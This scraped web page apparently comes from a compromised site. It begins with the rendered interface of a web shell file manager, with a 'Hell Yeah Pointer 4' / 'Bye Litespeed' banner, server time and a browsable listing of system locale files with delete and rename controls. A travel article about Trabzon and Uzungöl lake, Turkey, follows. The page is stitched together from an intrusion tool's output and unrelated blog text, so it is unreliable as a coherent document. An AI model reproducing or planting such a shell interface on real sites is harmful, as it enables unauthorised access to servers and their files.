Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-05 16:54:28
curdir: / / usr / share / locale / da / LC_MESSAGES / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 4096 2026-01-04 15:04:42 0755
.. 4096 2025-12-03 11:10:33 0755
Linux-PAM.mo 10943 2025-12-17 21:54:06 0644
NetworkManager.mo 93767 2023-02-23 12:00:12 0644
PackageKit.mo 24382 2023-10-14 16:32:25 0644
appstream-glib.mo 4209 2019-11-13 17:06:39 0644
aspell.mo 30308 2022-04-18 18:10:51 0644
atk10.mo 10135 2018-03-12 11:03:31 0644
bash.mo 79327 2016-09-10 19:43:10 0644
bfd.mo 153643 2018-01-27 18:13:41 0644
binutils.mo 70024 2018-01-27 18:13:43 0644
bison.mo 6268 2019-10-12 15:28:39 0644
chkconfig.mo 11379 2023-10-15 01:48:03 0644
coreutils.mo 348910 2025-12-18 16:54:34 0644
cpio.mo 29349 2015-09-12 14:33:40 0644
cpplib.mo 23392 2025-08-26 12:44:48 0644
cracklib.mo 1910 2019-10-12 03:47:14 0644
cryptsetup.mo 94486 2023-10-15 06:50:56 0644
dialog.mo 1251 2019-10-13 02:42:15 0644
diffutils.mo 33197 2020-05-04 18:15:13 0644
dnf-plugins-core.mo 25803 2024-04-08 13:02:46 0644
dnf.mo 82587 2025-03-11 12:47:57 0644
dos2unix.mo 17362 2019-10-12 03:46:25 0644
dpkg.mo 117660 2021-04-14 01:43:39 0644
e2fsprogs.mo 141662 2020-03-21 07:24:04 0644
findutils.mo 40301 2015-12-29 00:37:36 0644
flex.mo 15334 2019-10-12 15:33:17 0644
fprintd.mo 6662 2021-04-11 02:18:48 0644
gawk.mo 47570 2018-02-25 20:17:36 0644
gcc.mo 203374 2025-08-26 12:44:37 0644
gdbm.mo 14387 2022-10-08 16:22:07 0644
gdk-pixbuf.mo 22776 2018-04-07 21:35:17 0644
gettext-runtime.mo 9105 2016-06-11 16:08:06 0644
gettext-tools.mo 91721 2016-06-11 16:08:14 0644
glib-networking.mo 4337 2019-10-31 18:15:03 0644
glib20.mo 123254 2018-12-18 19:13:00 0644
gnupg2.mo 139770 2020-03-20 17:40:35 0644
gprof.mo 10479 2018-01-27 18:13:43 0644
grep.mo 11859 2019-10-11 18:15:56 0644
grub.mo 124649 2025-10-21 16:34:08 0644
gsettings-desktop-schemas.mo 97239 2021-10-08 22:40:25 0644
gtk20.mo 55824 2021-04-06 16:52:01 0644
initscripts.mo 14796 2025-11-10 13:42:42 0644
json-glib-1.0.mo 5402 2019-11-13 14:20:11 0644
kbd.mo 25023 2023-10-14 23:59:57 0644
ld.mo 41638 2018-01-27 18:13:42 0644
libdnf.mo 1724 2025-01-29 09:59:09 0644
libexif-12.mo 113484 2021-01-26 20:41:35 0644
libgpg-error.mo 20880 2019-10-12 15:20:46 0644
libidn.mo 8500 2019-10-13 19:55:34 0644
libidn2.mo 4754 2019-05-23 13:10:20 0644
libpaper.mo 2307 2019-10-12 23:09:13 0644
libpwquality.mo 5953 2020-10-13 09:32:16 0644
libsecret.mo 1409 2019-11-15 12:37:29 0644
libsoup.mo 3798 2025-11-05 13:55:51 0644
libuser.mo 24978 2015-07-23 22:16:23 0644
make.mo 23665 2022-04-18 19:38:33 0644
man-db-gnulib.mo 4592 2016-12-12 15:44:27 0644
man-db.mo 18769 2016-12-12 15:44:30 0644
mc.mo 67124 2017-03-04 20:56:13 0644
mlocate.mo 7230 2012-09-22 05:14:06 0644
nano.mo 49517 2018-06-02 11:23:49 0644
newt.mo 564 2020-06-01 17:11:17 0644
opcodes.mo 17592 2018-01-27 18:13:42 0644
p11-kit.mo 7890 2024-04-06 17:16:15 0644
parted.mo 51125 2021-10-08 18:43:19 0644
passwd.mo 6090 2022-04-19 01:59:32 0644
policycoreutils.mo 7111 2024-07-03 00:04:16 0644
polkit-1.mo 750 2024-05-29 15:51:37 0644
popt.mo 2119 2020-06-23 14:15:24 0644
psmisc.mo 11909 2020-11-06 17:24:15 0644
recode.mo 11004 2019-10-18 18:18:02 0644
rhn-client-tools.mo 16225 2024-04-03 15:46:34 0644
rhnsd.mo 427 2024-09-17 13:14:52 0644
rpm.mo 27856 2024-12-17 07:11:00 0644
sed.mo 12931 2022-04-19 00:41:02 0644
selinux-python.mo 72803 2024-07-03 00:08:24 0644
shadow.mo 63127 2018-04-29 19:46:38 0644
sudo.mo 18722 2025-12-18 17:01:07 0644
sudoers.mo 46504 2025-12-18 17:01:07 0644
sysstat.mo 12435 2024-07-03 12:57:24 0644
systemd.mo 16533 2025-11-05 12:26:41 0644
tar.mo 57405 2025-08-26 11:57:36 0644
usermode.mo 10333 2021-10-08 22:28:45 0644
util-linux.mo 395940 2025-12-18 16:44:28 0644
wget.mo 23598 2024-08-14 01:22:56 0644
xkeyboard-config.mo 80062 2019-10-19 23:52:50 0644
Karem - You will visit Trabzon after this article

You will visit Trabzon after this article

  • Home
  • Blogs
  • You will visit Trabzon after this article
Blog Details

You will visit Trabzon after this article

When we talk about picturesque nature, clean air, beautiful forests, green spaces, and clear springs, know that the talk is focused on the charming city of Trabzon, with its wonderful sea views of the Black Sea.

The city of Trabzon, which is called the Pearl of the Black Sea, is one of the most beautiful parts of Turkey. It is close to the Georgian border from the northeastern side of Turkey, and near it is the city of Rize, which exports tea to various parts of the world.

 

Trabzon is approximately 1069 km from Istanbul, 39 meters above sea level, where the port of Trabzon is located on the Black Sea. The city’s population is approximately 757,000, according to 2019 statistics, and its area is approximately 4,000 km. Tourism in Trabzon is the backbone of the city’s economy, as it receives thousands of Arab tourists annually.

Trabzon has a warm climate in summer, and humid and cold in winter, and there is usually a lot of rain and snow in the region.

 

Uzungöl Trabzon - the most important tourist places in Trabzon

Uzungöl Trabzon is one of the most popular tourist destinations, how not? It is the lake that has a special luster, and a distinctive charm, which tops the beauty and splendor of all those around it from the other lakes, as it is located at a distance of approximately 96 km from the city center, and on its sides are the mountainous heights covered with a wonderful green carpet, and you can imagine the amount of beauty represented when you travel In Uzungol, and seeing the view of this lake in the winter, especially, when the fog covers the mountains and the heights around it.